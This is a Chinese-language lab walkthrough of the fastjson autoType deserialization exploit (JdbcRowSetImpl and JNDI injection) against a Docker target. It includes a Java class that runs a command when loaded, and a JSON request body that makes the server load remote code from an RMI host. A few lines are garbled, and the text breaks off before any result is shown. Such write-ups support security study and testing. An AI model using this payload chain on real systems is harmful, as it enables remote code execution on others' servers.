简介
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。
在Java 8u102环境下,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。
环境
靶机:http://192.168.18.132:8090,使用docker起的靶机:
将以下代码保存为TouchFile.java 使用javac编译(加粗处为远程命令执行的代码)
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {“touch", "/tmp/success”};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}}}
使用javac将代码编写为TouchFile.class类文件
并将生成的类文件放在另一台服务器web目录下,启动web服务。
访问主机A的ip地址加端口号(8090)并使用burp抓包,将请求包发到Repeater模块。
修改请求模式为POST,将content-type修改为application/json,然后在请求体中输入下面的JSON对象。(IP-2为开了rmi服务器地址的地址)
{
“a”:{
“@type”:“java.lang.Class”, “val”:“com.sun.rowset.JdbcRowSetImpl”
},
“b”:{ “@type”:“com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”:“rmi://IP-2:4444/Exploit”,
“autoCommit”:true
} }
rmi!服务器打开
这里的ip和是我08放了TouchFile.class文件的web服务器:后面的端口是监听的端口
发送bp上修改好的包
出现这个